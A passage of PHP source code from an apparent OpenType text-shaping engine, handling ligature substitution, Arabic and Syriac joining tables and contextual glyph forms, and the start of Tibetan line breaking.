} // Need to update matra_type ??? of new glyphs inserted ??????????????????????????????????????? $newOTLdata[$i]['bidi_type'] = $bt; $newOTLdata[$i]['group'] = $gp; // Need to update details of new glyphs inserted $newOTLdata[$i]['general_category'] = $this->OTLdata[$pos]['general_category']; if ($this->shaper == 'I' || $this->shaper == 'K' || $this->shaper == 'S') { $newOTLdata[$i]['indic_category'] = $this->OTLdata[$pos]['indic_category']; $newOTLdata[$i]['indic_position'] = $this->OTLdata[$pos]['indic_position']; } elseif ($this->shaper == 'M') { $newOTLdata[$i]['myanmar_category'] = $this->OTLdata[$pos]['myanmar_category']; $newOTLdata[$i]['myanmar_position'] = $this->OTLdata[$pos]['myanmar_position']; } if (isset($this->OTLdata[$pos]['mask'])) { $newOTLdata[$i]['mask'] = $this->OTLdata[$pos]['mask']; } if (isset($this->OTLdata[$pos]['syllable'])) { $newOTLdata[$i]['syllable'] = $this->OTLdata[$pos]['syllable']; } } if ($this->shaper == 'K' || $this->shaper == 'T' || $this->shaper == 'L') { if ($this->OTLdata[$pos]['wordend']) { $newOTLdata[count($substitute) - 1]['wordend'] = true; } } array_splice($this->OTLdata, $pos, 1, $newOTLdata); // Replace 1 with n // Update position of Ligatures and associated Marks // count($substitute)-1 is the number of glyphs added $nadd = count($substitute) - 1; $this->_updateLigatureMarks($pos, $nadd); return count($substitute); } // LookupType 4: Ligature Substitution Subtable : n to 1 elseif ($Type == 4) { // Create Ligatures and associated Marks $firstGlyph = $this->OTLdata[$pos]['hex']; // If all components of the ligature are marks (and in the same syllable), we call this a mark ligature. $contains_marks = false; $contains_nonmarks = false; if (isset($this->OTLdata[$pos]['syllable'])) { $current_syllable = $this->OTLdata[$pos]['syllable']; } else { $current_syllable = 0; } for ($i = 0; $i < count($GlyphPos); $i++) { // If subsequent components are not Marks as well - don't ligate $unistr = $this->OTLdata[$GlyphPos[$i]]['hex']; if ($this->restrictToSyllable && isset($this->OTLdata[$GlyphPos[$i]]['syllable']) && $this->OTLdata[$GlyphPos[$i]]['syllable'] != $current_syllable) { return 0; } if (strpos($this->GlyphClassMarks, $unistr) !== false) { $contains_marks = true; } else { $contains_nonmarks = true; } } if ($contains_marks && !$contains_nonmarks) { // Mark Ligature (all components are Marks) $firstMarkAssoc = ''; if (isset($this->assocMarks[$pos])) { $firstMarkAssoc = $this->assocMarks[$pos]; } // If all components of the ligature are marks, we call this a mark ligature. for ($i = 1; $i < count($GlyphPos); $i++) { // If subsequent components are not Marks as well - don't ligate // $unistr = $this->OTLdata[$GlyphPos[$i]]['hex']; // if (strpos($this->GlyphClassMarks, $unistr )===false) { return; } $nextMarkAssoc = ''; if (isset($this->assocMarks[$GlyphPos[$i]])) { $nextMarkAssoc = $this->assocMarks[$GlyphPos[$i]]; } // If first component was attached to a previous ligature component, // all subsequent components should be attached to the same ligature // component, otherwise we shouldn't ligate them. // If first component was NOT attached to a previous ligature component, // all subsequent components should also NOT be attached to any ligature component, if ($firstMarkAssoc != $nextMarkAssoc) { // unless they are attached to the first component itself! // if (!is_array($nextMarkAssoc) || $nextMarkAssoc['ligPos']!= $pos) { return; } // Update/Edit - In test with myanmartext font // င်္က္ကျြွေိ // => Lookup 17 E003 E066B E05A 102D // E003 and 102D should form a mark ligature, but 102D is already associated with (non-mark) ligature E05A // So instead of disallowing the mark ligature to form, just dissociate... if (!is_array($nextMarkAssoc) || $nextMarkAssoc['ligPos'] != $pos) { unset($this->assocMarks[$GlyphPos[$i]]); } } } /* * - If it *is* a mark ligature, we don't allocate a new ligature id, and leave * the ligature to keep its old ligature id. This will allow it to attach to * a base ligature in GPOS. Eg. if the sequence is: LAM,LAM,SHADDA,FATHA,HEH, * and LAM,LAM,HEH form a ligature, they will leave SHADDA and FATHA wit a * ligature id and component value of 2. Then if SHADDA,FATHA form a ligature * later, we don't want them to lose their ligature id/component, otherwise * GPOS will fail to correctly position the mark ligature on top of the * LAM,LAM,HEH ligature. */ // So if is_array($firstMarkAssoc) - the new (Mark) ligature should keep this association $lastPos = $GlyphPos[(count($GlyphPos) - 1)]; } else { /* * - Ligatures cannot be formed across glyphs attached to different components * of previous ligatures. Eg. the sequence is LAM,SHADDA,LAM,FATHA,HEH, and * LAM,LAM,HEH form a ligature, leaving SHADDA,FATHA next to eachother. * However, it would be wrong to ligate that SHADDA,FATHA sequence. * There is an exception to this: If a ligature tries ligating with marks that * belong to it itself, go ahead, assuming that the font designer knows what * they are doing (otherwise it can break Indic stuff when a matra wants to * ligate with a conjunct...) */ /* * - If a ligature is formed of components that some of which are also ligatures * themselves, and those ligature components had marks attached to *their* * components, we have to attach the marks to the new ligature component * positions! Now *that*'s tricky! And these marks may be following the * last component of the whole sequence, so we should loop forward looking * for them and update them. * * Eg. the sequence is LAM,LAM,SHADDA,FATHA,HEH, and the font first forms a * 'calt' ligature of LAM,HEH, leaving the SHADDA and FATHA with a ligature * id and component == 1. Now, during 'liga', the LAM and the LAM-HEH ligature * form a LAM-LAM-HEH ligature. We need to reassign the SHADDA and FATHA to * the new ligature with a component value of 2. * * This in fact happened to a font... See: * https://bugzilla.gnome.org/show_bug.cgi?id=437633 */ $currComp = 0; for ($i = 0; $i < count($GlyphPos); $i++) { if ($i > 0 && isset($this->assocLigs[$GlyphPos[$i]])) { // One of the other components is already a ligature $nc = $this->assocLigs[$GlyphPos[$i]]; } else { $nc = 1; } // While next char to right is a mark (but not the next matched glyph) // ?? + also include a Mark Ligature here $ic = 1; while ((($i == count($GlyphPos) - 1) || (isset($GlyphPos[$i + 1]) && ($GlyphPos[$i] + $ic) < $GlyphPos[$i + 1])) && isset($this->OTLdata[($GlyphPos[$i] + $ic)]) && strpos($this->GlyphClassMarks, $this->OTLdata[($GlyphPos[$i] + $ic)]['hex']) !== false) { $newComp = $currComp; if (isset($this->assocMarks[$GlyphPos[$i] + $ic])) { // One of the inbetween Marks is already associated with a Lig // OK as long as it is associated with the current Lig // if ($this->assocMarks[($GlyphPos[$i]+$ic)]['ligPos'] != ($GlyphPos[$i]+$ic)) { die("Problem #1"); } $newComp += $this->assocMarks[($GlyphPos[$i] + $ic)]['compID']; } $this->assocMarks[($GlyphPos[$i] + $ic)] = ['compID' => $newComp, 'ligPos' => $pos]; $ic++; } $currComp += $nc; } $lastPos = $GlyphPos[(count($GlyphPos) - 1)] + $ic - 1; $this->assocLigs[$pos] = $currComp; // Number of components in new Ligature } // Now remove the unwanted glyphs and associated metadata $newOTLdata[0] = []; // Get types of new inserted chars - or replicate type of char being replaced // $bt = Ucdn::get_bidi_class($substitute); // if (!$bt) { $bt = $this->OTLdata[$pos]['bidi_type']; // } if (strpos($this->GlyphClassMarks, $this->unicode_hex($substitute)) !== false) { $gp = 'M'; } elseif ($substitute == 32) { $gp = 'S'; } else { $gp = 'C'; } // Need to update details of new glyphs inserted $newOTLdata[0]['general_category'] = $this->OTLdata[$pos]['general_category']; $newOTLdata[0]['bidi_type'] = $bt; $newOTLdata[0]['group'] = $gp; // KASHIDA: If forming a ligature when the last component was identified as a kashida point (final form) // If previous/first component of ligature is a medial form, then keep this as a kashida point // TEST (Arabic Typesetting) يَنتُم $ka = 0; if (isset($this->OTLdata[$GlyphPos[(count($GlyphPos) - 1)]]['GPOSinfo']['kashida'])) { $ka = $this->OTLdata[$GlyphPos[(count($GlyphPos) - 1)]]['GPOSinfo']['kashida']; } if ($ka == 1 && isset($this->OTLdata[$pos]['form']) && $this->OTLdata[$pos]['form'] == 3) { $newOTLdata[0]['GPOSinfo']['kashida'] = $ka; } $newOTLdata[0]['uni'] = $substitute; $newOTLdata[0]['hex'] = $this->unicode_hex($substitute); if ($this->shaper == 'I' || $this->shaper == 'K' || $this->shaper == 'S') { $newOTLdata[0]['indic_category'] = $this->OTLdata[$pos]['indic_category']; $newOTLdata[0]['indic_position'] = $this->OTLdata[$pos]['indic_position']; } elseif ($this->shaper == 'M') { $newOTLdata[0]['myanmar_category'] = $this->OTLdata[$pos]['myanmar_category']; $newOTLdata[0]['myanmar_position'] = $this->OTLdata[$pos]['myanmar_position']; } if (isset($this->OTLdata[$pos]['mask'])) { $newOTLdata[0]['mask'] = $this->OTLdata[$pos]['mask']; } if (isset($this->OTLdata[$pos]['syllable'])) { $newOTLdata[0]['syllable'] = $this->OTLdata[$pos]['syllable']; } $newOTLdata[0]['is_ligature'] = true; array_splice($this->OTLdata, $pos, 1, $newOTLdata); // GlyphPos contains array of arr_pos to set null - not necessarily contiguous // +- Remove any assocMarks or assocLigs from the main components (the ones that are deleted) for ($i = count($GlyphPos) - 1; $i > 0; $i--) { $gpos = $GlyphPos[$i]; array_splice($this->OTLdata, $gpos, 1); unset($this->assocLigs[$gpos]); unset($this->assocMarks[$gpos]); } // $this->assocLigs = array(); // Ligatures[$posarr lpos] => nc // $this->assocMarks = array(); // assocMarks[$posarr mpos] => array(compID, ligPos) // Update position of pre-existing Ligatures and associated Marks // Start after first GlyphPos // count($GlyphPos)-1 is the number of glyphs removed from string for ($p = ($GlyphPos[0] + 1); $p < (count($this->OTLdata) + count($GlyphPos) - 1); $p++) { $nrem = 0; // Number of Glyphs removed at this point in the string for ($i = 0; $i < count($GlyphPos); $i++) { if ($i > 0 && $p > $GlyphPos[$i]) { $nrem++; } } if (isset($this->assocLigs[$p])) { $tmp = $this->assocLigs[$p]; unset($this->assocLigs[$p]); $this->assocLigs[($p - $nrem)] = $tmp; } if (isset($this->assocMarks[$p])) { $tmp = $this->assocMarks[$p]; unset($this->assocMarks[$p]); if ($tmp['ligPos'] > $GlyphPos[0]) { $tmp['ligPos'] -= $nrem; } $this->assocMarks[($p - $nrem)] = $tmp; } } return 1; } else { return 0; } } //////////////////////////////////////////////////////////////// ////////// ARABIC ///////////////////////////////// //////////////////////////////////////////////////////////////// private function arabic_initialise() { // cf. http://unicode.org/Public/UNIDATA/ArabicShaping.txt // http://unicode.org/Public/UNIDATA/extracted/DerivedJoiningType.txt // JOIN TO FOLLOWING LETTER IN LOGICAL ORDER (i.e. AS INITIAL/MEDIAL FORM) = Unicode Left-Joining (+ Dual-Joining + Join_Causing 00640) $this->arabLeftJoining = [ 0x0620 => 1, 0x0626 => 1, 0x0628 => 1, 0x062A => 1, 0x062B => 1, 0x062C => 1, 0x062D => 1, 0x062E => 1, 0x0633 => 1, 0x0634 => 1, 0x0635 => 1, 0x0636 => 1, 0x0637 => 1, 0x0638 => 1, 0x0639 => 1, 0x063A => 1, 0x063B => 1, 0x063C => 1, 0x063D => 1, 0x063E => 1, 0x063F => 1, 0x0640 => 1, 0x0641 => 1, 0x0642 => 1, 0x0643 => 1, 0x0644 => 1, 0x0645 => 1, 0x0646 => 1, 0x0647 => 1, 0x0649 => 1, 0x064A => 1, 0x066E => 1, 0x066F => 1, 0x0678 => 1, 0x0679 => 1, 0x067A => 1, 0x067B => 1, 0x067C => 1, 0x067D => 1, 0x067E => 1, 0x067F => 1, 0x0680 => 1, 0x0681 => 1, 0x0682 => 1, 0x0683 => 1, 0x0684 => 1, 0x0685 => 1, 0x0686 => 1, 0x0687 => 1, 0x069A => 1, 0x069B => 1, 0x069C => 1, 0x069D => 1, 0x069E => 1, 0x069F => 1, 0x06A0 => 1, 0x06A1 => 1, 0x06A2 => 1, 0x06A3 => 1, 0x06A4 => 1, 0x06A5 => 1, 0x06A6 => 1, 0x06A7 => 1, 0x06A8 => 1, 0x06A9 => 1, 0x06AA => 1, 0x06AB => 1, 0x06AC => 1, 0x06AD => 1, 0x06AE => 1, 0x06AF => 1, 0x06B0 => 1, 0x06B1 => 1, 0x06B2 => 1, 0x06B3 => 1, 0x06B4 => 1, 0x06B5 => 1, 0x06B6 => 1, 0x06B7 => 1, 0x06B8 => 1, 0x06B9 => 1, 0x06BA => 1, 0x06BB => 1, 0x06BC => 1, 0x06BD => 1, 0x06BE => 1, 0x06BF => 1, 0x06C1 => 1, 0x06C2 => 1, 0x06CC => 1, 0x06CE => 1, 0x06D0 => 1, 0x06D1 => 1, 0x06FA => 1, 0x06FB => 1, 0x06FC => 1, 0x06FF => 1, /* Arabic Supplement */ 0x0750 => 1, 0x0751 => 1, 0x0752 => 1, 0x0753 => 1, 0x0754 => 1, 0x0755 => 1, 0x0756 => 1, 0x0757 => 1, 0x0758 => 1, 0x075C => 1, 0x075D => 1, 0x075E => 1, 0x075F => 1, 0x0760 => 1, 0x0761 => 1, 0x0762 => 1, 0x0763 => 1, 0x0764 => 1, 0x0765 => 1, 0x0766 => 1, 0x0767 => 1, 0x0768 => 1, 0x0769 => 1, 0x076A => 1, 0x076D => 1, 0x076E => 1, 0x076F => 1, 0x0770 => 1, 0x0772 => 1, 0x0775 => 1, 0x0776 => 1, 0x0777 => 1, 0x077A => 1, 0x077B => 1, 0x077C => 1, 0x077D => 1, 0x077E => 1, 0x077F => 1, /* Extended Arabic */ 0x08A0 => 1, 0x08A2 => 1, 0x08A3 => 1, 0x08A4 => 1, 0x08A5 => 1, 0x08A6 => 1, 0x08A7 => 1, 0x08A8 => 1, 0x08A9 => 1, /* 'syrc' Syriac */ 0x0712 => 1, 0x0713 => 1, 0x0714 => 1, 0x071A => 1, 0x071B => 1, 0x071C => 1, 0x071D => 1, 0x071F => 1, 0x0720 => 1, 0x0721 => 1, 0x0722 => 1, 0x0723 => 1, 0x0724 => 1, 0x0725 => 1, 0x0726 => 1, 0x0727 => 1, 0x0729 => 1, 0x072B => 1, 0x072D => 1, 0x072E => 1, 0x074E => 1, 0x074F => 1, /* N'Ko */ 0x07CA => 1, 0x07CB => 1, 0x07CC => 1, 0x07CD => 1, 0x07CE => 1, 0x07CF => 1, 0x07D0 => 1, 0x07D1 => 1, 0x07D2 => 1, 0x07D3 => 1, 0x07D4 => 1, 0x07D5 => 1, 0x07D6 => 1, 0x07D7 => 1, 0x07D8 => 1, 0x07D9 => 1, 0x07DA => 1, 0x07DB => 1, 0x07DC => 1, 0x07DD => 1, 0x07DE => 1, 0x07DF => 1, 0x07E0 => 1, 0x07E1 => 1, 0x07E2 => 1, 0x07E3 => 1, 0x07E4 => 1, 0x07E5 => 1, 0x07E6 => 1, 0x07E7 => 1, 0x07E8 => 1, 0x07E9 => 1, 0x07EA => 1, 0x07FA => 1, /* Mandaic */ 0x0841 => 1, 0x0842 => 1, 0x0843 => 1, 0x0844 => 1, 0x0845 => 1, 0x0847 => 1, 0x0848 => 1, 0x084A => 1, 0x084B => 1, 0x084C => 1, 0x084D => 1, 0x084E => 1, 0x0850 => 1, 0x0851 => 1, 0x0852 => 1, 0x0853 => 1, 0x0855 => 1, /* ZWJ U+200D */ 0x0200D => 1]; /* JOIN TO PREVIOUS LETTER IN LOGICAL ORDER (i.e. AS FINAL/MEDIAL FORM) = Unicode Right-Joining (+ Dual-Joining + Join_Causing) */ $this->arabRightJoining = [ 0x0620 => 1, 0x0622 => 1, 0x0623 => 1, 0x0624 => 1, 0x0625 => 1, 0x0626 => 1, 0x0627 => 1, 0x0628 => 1, 0x0629 => 1, 0x062A => 1, 0x062B => 1, 0x062C => 1, 0x062D => 1, 0x062E => 1, 0x062F => 1, 0x0630 => 1, 0x0631 => 1, 0x0632 => 1, 0x0633 => 1, 0x0634 => 1, 0x0635 => 1, 0x0636 => 1, 0x0637 => 1, 0x0638 => 1, 0x0639 => 1, 0x063A => 1, 0x063B => 1, 0x063C => 1, 0x063D => 1, 0x063E => 1, 0x063F => 1, 0x0640 => 1, 0x0641 => 1, 0x0642 => 1, 0x0643 => 1, 0x0644 => 1, 0x0645 => 1, 0x0646 => 1, 0x0647 => 1, 0x0648 => 1, 0x0649 => 1, 0x064A => 1, 0x066E => 1, 0x066F => 1, 0x0671 => 1, 0x0672 => 1, 0x0673 => 1, 0x0675 => 1, 0x0676 => 1, 0x0677 => 1, 0x0678 => 1, 0x0679 => 1, 0x067A => 1, 0x067B => 1, 0x067C => 1, 0x067D => 1, 0x067E => 1, 0x067F => 1, 0x0680 => 1, 0x0681 => 1, 0x0682 => 1, 0x0683 => 1, 0x0684 => 1, 0x0685 => 1, 0x0686 => 1, 0x0687 => 1, 0x0688 => 1, 0x0689 => 1, 0x068A => 1, 0x068B => 1, 0x068C => 1, 0x068D => 1, 0x068E => 1, 0x068F => 1, 0x0690 => 1, 0x0691 => 1, 0x0692 => 1, 0x0693 => 1, 0x0694 => 1, 0x0695 => 1, 0x0696 => 1, 0x0697 => 1, 0x0698 => 1, 0x0699 => 1, 0x069A => 1, 0x069B => 1, 0x069C => 1, 0x069D => 1, 0x069E => 1, 0x069F => 1, 0x06A0 => 1, 0x06A1 => 1, 0x06A2 => 1, 0x06A3 => 1, 0x06A4 => 1, 0x06A5 => 1, 0x06A6 => 1, 0x06A7 => 1, 0x06A8 => 1, 0x06A9 => 1, 0x06AA => 1, 0x06AB => 1, 0x06AC => 1, 0x06AD => 1, 0x06AE => 1, 0x06AF => 1, 0x06B0 => 1, 0x06B1 => 1, 0x06B2 => 1, 0x06B3 => 1, 0x06B4 => 1, 0x06B5 => 1, 0x06B6 => 1, 0x06B7 => 1, 0x06B8 => 1, 0x06B9 => 1, 0x06BA => 1, 0x06BB => 1, 0x06BC => 1, 0x06BD => 1, 0x06BE => 1, 0x06BF => 1, 0x06C0 => 1, 0x06C1 => 1, 0x06C2 => 1, 0x06C3 => 1, 0x06C4 => 1, 0x06C5 => 1, 0x06C6 => 1, 0x06C7 => 1, 0x06C8 => 1, 0x06C9 => 1, 0x06CA => 1, 0x06CB => 1, 0x06CC => 1, 0x06CD => 1, 0x06CE => 1, 0x06CF => 1, 0x06D0 => 1, 0x06D1 => 1, 0x06D2 => 1, 0x06D3 => 1, 0x06D5 => 1, 0x06EE => 1, 0x06EF => 1, 0x06FA => 1, 0x06FB => 1, 0x06FC => 1, 0x06FF => 1, /* Arabic Supplement */ 0x0750 => 1, 0x0751 => 1, 0x0752 => 1, 0x0753 => 1, 0x0754 => 1, 0x0755 => 1, 0x0756 => 1, 0x0757 => 1, 0x0758 => 1, 0x0759 => 1, 0x075A => 1, 0x075B => 1, 0x075C => 1, 0x075D => 1, 0x075E => 1, 0x075F => 1, 0x0760 => 1, 0x0761 => 1, 0x0762 => 1, 0x0763 => 1, 0x0764 => 1, 0x0765 => 1, 0x0766 => 1, 0x0767 => 1, 0x0768 => 1, 0x0769 => 1, 0x076A => 1, 0x076B => 1, 0x076C => 1, 0x076D => 1, 0x076E => 1, 0x076F => 1, 0x0770 => 1, 0x0771 => 1, 0x0772 => 1, 0x0773 => 1, 0x0774 => 1, 0x0775 => 1, 0x0776 => 1, 0x0777 => 1, 0x0778 => 1, 0x0779 => 1, 0x077A => 1, 0x077B => 1, 0x077C => 1, 0x077D => 1, 0x077E => 1, 0x077F => 1, /* Extended Arabic */ 0x08A0 => 1, 0x08A2 => 1, 0x08A3 => 1, 0x08A4 => 1, 0x08A5 => 1, 0x08A6 => 1, 0x08A7 => 1, 0x08A8 => 1, 0x08A9 => 1, 0x08AA => 1, 0x08AB => 1, 0x08AC => 1, /* 'syrc' Syriac */ 0x0710 => 1, 0x0712 => 1, 0x0713 => 1, 0x0714 => 1, 0x0715 => 1, 0x0716 => 1, 0x0717 => 1, 0x0718 => 1, 0x0719 => 1, 0x071A => 1, 0x071B => 1, 0x071C => 1, 0x071D => 1, 0x071E => 1, 0x071F => 1, 0x0720 => 1, 0x0721 => 1, 0x0722 => 1, 0x0723 => 1, 0x0724 => 1, 0x0725 => 1, 0x0726 => 1, 0x0727 => 1, 0x0728 => 1, 0x0729 => 1, 0x072A => 1, 0x072B => 1, 0x072C => 1, 0x072D => 1, 0x072E => 1, 0x072F => 1, 0x074D => 1, 0x074E => 1, 0x074F, /* N'Ko */ 0x07CA => 1, 0x07CB => 1, 0x07CC => 1, 0x07CD => 1, 0x07CE => 1, 0x07CF => 1, 0x07D0 => 1, 0x07D1 => 1, 0x07D2 => 1, 0x07D3 => 1, 0x07D4 => 1, 0x07D5 => 1, 0x07D6 => 1, 0x07D7 => 1, 0x07D8 => 1, 0x07D9 => 1, 0x07DA => 1, 0x07DB => 1, 0x07DC => 1, 0x07DD => 1, 0x07DE => 1, 0x07DF => 1, 0x07E0 => 1, 0x07E1 => 1, 0x07E2 => 1, 0x07E3 => 1, 0x07E4 => 1, 0x07E5 => 1, 0x07E6 => 1, 0x07E7 => 1, 0x07E8 => 1, 0x07E9 => 1, 0x07EA => 1, 0x07FA => 1, /* Mandaic */ 0x0841 => 1, 0x0842 => 1, 0x0843 => 1, 0x0844 => 1, 0x0845 => 1, 0x0847 => 1, 0x0848 => 1, 0x084A => 1, 0x084B => 1, 0x084C => 1, 0x084D => 1, 0x084E => 1, 0x0850 => 1, 0x0851 => 1, 0x0852 => 1, 0x0853 => 1, 0x0855 => 1, 0x0840 => 1, 0x0846 => 1, 0x0849 => 1, 0x084F => 1, 0x0854 => 1, /* Right joining */ /* ZWJ U+200D */ 0x0200D => 1]; /* VOWELS = TRANSPARENT-JOINING = Unicode Transparent-Joining type (not just vowels) */ $this->arabTransparent = [ 0x0610 => 1, 0x0611 => 1, 0x0612 => 1, 0x0613 => 1, 0x0614 => 1, 0x0615 => 1, 0x0616 => 1, 0x0617 => 1, 0x0618 => 1, 0x0619 => 1, 0x061A => 1, 0x064B => 1, 0x064C => 1, 0x064D => 1, 0x064E => 1, 0x064F => 1, 0x0650 => 1, 0x0651 => 1, 0x0652 => 1, 0x0653 => 1, 0x0654 => 1, 0x0655 => 1, 0x0656 => 1, 0x0657 => 1, 0x0658 => 1, 0x0659 => 1, 0x065A => 1, 0x065B => 1, 0x065C => 1, 0x065D => 1, 0x065E => 1, 0x065F => 1, 0x0670 => 1, 0x06D6 => 1, 0x06D7 => 1, 0x06D8 => 1, 0x06D9 => 1, 0x06DA => 1, 0x06DB => 1, 0x06DC => 1, 0x06DF => 1, 0x06E0 => 1, 0x06E1 => 1, 0x06E2 => 1, 0x06E3 => 1, 0x06E4 => 1, 0x06E7 => 1, 0x06E8 => 1, 0x06EA => 1, 0x06EB => 1, 0x06EC => 1, 0x06ED => 1, /* Extended Arabic */ 0x08E4 => 1, 0x08E5 => 1, 0x08E6 => 1, 0x08E7 => 1, 0x08E8 => 1, 0x08E9 => 1, 0x08EA => 1, 0x08EB => 1, 0x08EC => 1, 0x08ED => 1, 0x08EE => 1, 0x08EF => 1, 0x08F0 => 1, 0x08F1 => 1, 0x08F2 => 1, 0x08F3 => 1, 0x08F4 => 1, 0x08F5 => 1, 0x08F6 => 1, 0x08F7 => 1, 0x08F8 => 1, 0x08F9 => 1, 0x08FA => 1, 0x08FB => 1, 0x08FC => 1, 0x08FD => 1, 0x08FE => 1, /* Arabic ligatures in presentation form (converted in 'ccmp' in e.g. Arial and Times ? need to add others in this range) */ 0xFC5E => 1, 0xFC5F => 1, 0xFC60 => 1, 0xFC61 => 1, 0xFC62 => 1, /* 'syrc' Syriac */ 0x070F => 1, 0x0711 => 1, 0x0730 => 1, 0x0731 => 1, 0x0732 => 1, 0x0733 => 1, 0x0734 => 1, 0x0735 => 1, 0x0736 => 1, 0x0737 => 1, 0x0738 => 1, 0x0739 => 1, 0x073A => 1, 0x073B => 1, 0x073C => 1, 0x073D => 1, 0x073E => 1, 0x073F => 1, 0x0740 => 1, 0x0741 => 1, 0x0742 => 1, 0x0743 => 1, 0x0744 => 1, 0x0745 => 1, 0x0746 => 1, 0x0747 => 1, 0x0748 => 1, 0x0749 => 1, 0x074A => 1, /* N'Ko */ 0x07EB => 1, 0x07EC => 1, 0x07ED => 1, 0x07EE => 1, 0x07EF => 1, 0x07F0 => 1, 0x07F1 => 1, 0x07F2 => 1, 0x07F3 => 1, /* Mandaic */ 0x0859 => 1, 0x085A => 1, 0x085B => 1, ]; } private function arabic_shaper($usetags, $scriptTag) { $chars = []; for ($i = 0; $i < count($this->OTLdata); $i++) { $chars[] = $this->OTLdata[$i]['hex']; } $crntChar = null; $prevChar = null; $nextChar = null; $output = []; $max = count($chars); for ($i = $max - 1; $i >= 0; $i--) { $crntChar = $chars[$i]; if ($i > 0) { $prevChar = hexdec($chars[$i - 1]); } else { $prevChar = null; } if ($prevChar && isset($this->arabTransparentJoin[$prevChar]) && isset($chars[$i - 2])) { $prevChar = hexdec($chars[$i - 2]); if ($prevChar && isset($this->arabTransparentJoin[$prevChar]) && isset($chars[$i - 3])) { $prevChar = hexdec($chars[$i - 3]); if ($prevChar && isset($this->arabTransparentJoin[$prevChar]) && isset($chars[$i - 4])) { $prevChar = hexdec($chars[$i - 4]); } } } if ($crntChar && isset($this->arabTransparentJoin[hexdec($crntChar)])) { // If next_char = RightJoining && prev_char = LeftJoining: if (isset($chars[$i + 1]) && $chars[$i + 1] && isset($this->arabRightJoining[hexdec($chars[$i + 1])]) && $prevChar && isset($this->arabLeftJoining[$prevChar])) { $output[] = $this->get_arab_glyphs($crntChar, 1, $chars, $i, $scriptTag, $usetags); // <final> form } else { $output[] = $this->get_arab_glyphs($crntChar, 0, $chars, $i, $scriptTag, $usetags); // <isolated> form } continue; } if (hexdec($crntChar) < 128) { $output[] = [$crntChar, 0]; $nextChar = $crntChar; continue; } // 0=ISOLATED FORM :: 1=FINAL :: 2=INITIAL :: 3=MEDIAL $form = 0; if ($prevChar && isset($this->arabLeftJoining[$prevChar])) { $form++; } if ($nextChar && isset($this->arabRightJoining[hexdec($nextChar)])) { $form += 2; } $output[] = $this->get_arab_glyphs($crntChar, $form, $chars, $i, $scriptTag, $usetags); $nextChar = $crntChar; } $ra = array_reverse($output); for ($i = 0; $i < count($this->OTLdata); $i++) { $this->OTLdata[$i]['uni'] = hexdec($ra[$i][0]); $this->OTLdata[$i]['hex'] = $ra[$i][0]; $this->OTLdata[$i]['form'] = $ra[$i][1]; // Actaul form substituted 0=ISOLATED FORM :: 1=FINAL :: 2=INITIAL :: 3=MEDIAL } } private function get_arab_glyphs($char, $type, &$chars, $i, $scriptTag, $usetags) { // Optional Feature settings // doesn't control Syriac at present if (($type === 0 && strpos($usetags, 'isol') === false) || ($type === 1 && strpos($usetags, 'fina') === false) || ($type === 2 && strpos($usetags, 'init') === false) || ($type === 3 && strpos($usetags, 'medi') === false)) { return [$char, 0]; } // 0=ISOLATED FORM :: 1=FINAL :: 2=INITIAL :: 3=MEDIAL (:: 4=MED2 :: 5=FIN2 :: 6=FIN3) $retk = -1; // Alaph 00710 in Syriac if ($scriptTag == 'syrc' && $char == '00710') { // if there is a preceding (base?) character *** should search back to previous base - ignoring vowels and change $n // set $n as the position of the last base; for now we'll just do this: $n = $i - 1; // if the preceding (base) character cannot be joined to // not in $this->arabLeftJoining i.e. not a char which can join to the next one if (isset($chars[$n]) && isset($this->arabLeftJoining[hexdec($chars[$n])])) { // if in the middle of Syriac words if (isset($chars[$i + 1]) && preg_match('/[\x{0700}-\x{0745}]/u', UtfString::code2utf(hexdec($chars[$n]))) && preg_match('/[\x{0700}-\x{0745}]/u', UtfString::code2utf(hexdec($chars[$i + 1]))) && isset($this->arabGlyphs[$char][4])) { $retk = 4; } // if at the end of Syriac words elseif (!isset($chars[$i + 1]) || !preg_match('/[\x{0700}-\x{0745}]/u', UtfString::code2utf(hexdec($chars[$i + 1])))) { // if preceding base character IS (00715|00716|0072A) if (strpos('0715|0716|072A', $chars[$n]) !== false && isset($this->arabGlyphs[$char][6])) { $retk = 6; } // elseif preceding base character is NOT (00715|00716|0072A) elseif (isset($this->arabGlyphs[$char][5])) { $retk = 5; } } } if ($retk != -1) { return [$this->arabGlyphs[$char][$retk], $retk]; } else { return [$char, 0]; } } if (($type > 0 || $type === 0) && isset($this->arabGlyphs[$char][$type])) { $retk = $type; } elseif ($type == 3 && isset($this->arabGlyphs[$char][1])) { // if <medial> not defined, but <final>, return <final> $retk = 1; } elseif ($type == 2 && isset($this->arabGlyphs[$char][0])) { // if <initial> not defined, but <isolated>, return <isolated> $retk = 0; } if ($retk != -1) { $match = true; // If GSUB includes a Backtrack or Lookahead condition (e.g. font ArabicTypesetting) if (isset($this->arabGlyphs[$char]['prel'][$retk]) && $this->arabGlyphs[$char]['prel'][$retk]) { $ig = 1; foreach ($this->arabGlyphs[$char]['prel'][$retk] as $k => $v) { // $k starts 0, 1... if (!isset($chars[$i - $ig - $k])) { $match = false; } elseif (strpos($v, $chars[$i - $ig - $k]) === false) { while (strpos($this->arabGlyphs[$char]['ignore'][$retk], $chars[$i - $ig - $k]) !== false) { // ignore $ig++; } if (!isset($chars[$i - $ig - $k])) { $match = false; } elseif (strpos($v, $chars[$i - $ig - $k]) === false) { $match = false; } } } } if (isset($this->arabGlyphs[$char]['postl'][$retk]) && $this->arabGlyphs[$char]['postl'][$retk]) { $ig = 1; foreach ($this->arabGlyphs[$char]['postl'][$retk] as $k => $v) { // $k starts 0, 1... if (!isset($chars[$i + $ig + $k])) { $match = false; } elseif (strpos($v, $chars[$i + $ig + $k]) === false) { while (strpos($this->arabGlyphs[$char]['ignore'][$retk], $chars[$i + $ig + $k]) !== false) { // ignore $ig++; } if (!isset($chars[$i + $ig + $k])) { $match = false; } elseif (strpos($v, $chars[$i + $ig + $k]) === false) { $match = false; } } } } if ($match) { return [$this->arabGlyphs[$char][$retk], $retk]; } else { return [$char, 0]; } } else { return [$char, 0]; } } //////////////////////////////////////////////////////////////// ///////////////// LINE BREAKING /////////////////////// //////////////////////////////////////////////////////////////// ///////////// TIBETAN LINE BREAKING /////////////////// //////////////////////////////////////////////////////////////// // Sets $this->OTLdata[$i]['wordend']=true at possible end of word boundaries private function tibetanLineBreaking() { for ($ptr = 0; $ptr < count($this->OTLdata); $ptr++) { // Break opportunities at U+0F0B Tsheg or U=0F0D if (isset($this->OTLdata[$ptr]['uni']) && ($this->OTLdata[$ptr]['uni'] == 0x0F0B || $this->OTLdata[$ptr]['uni'] == 0x0F0D)) { if (isset($this->OTLdata[$ptr + 1]['uni']) && 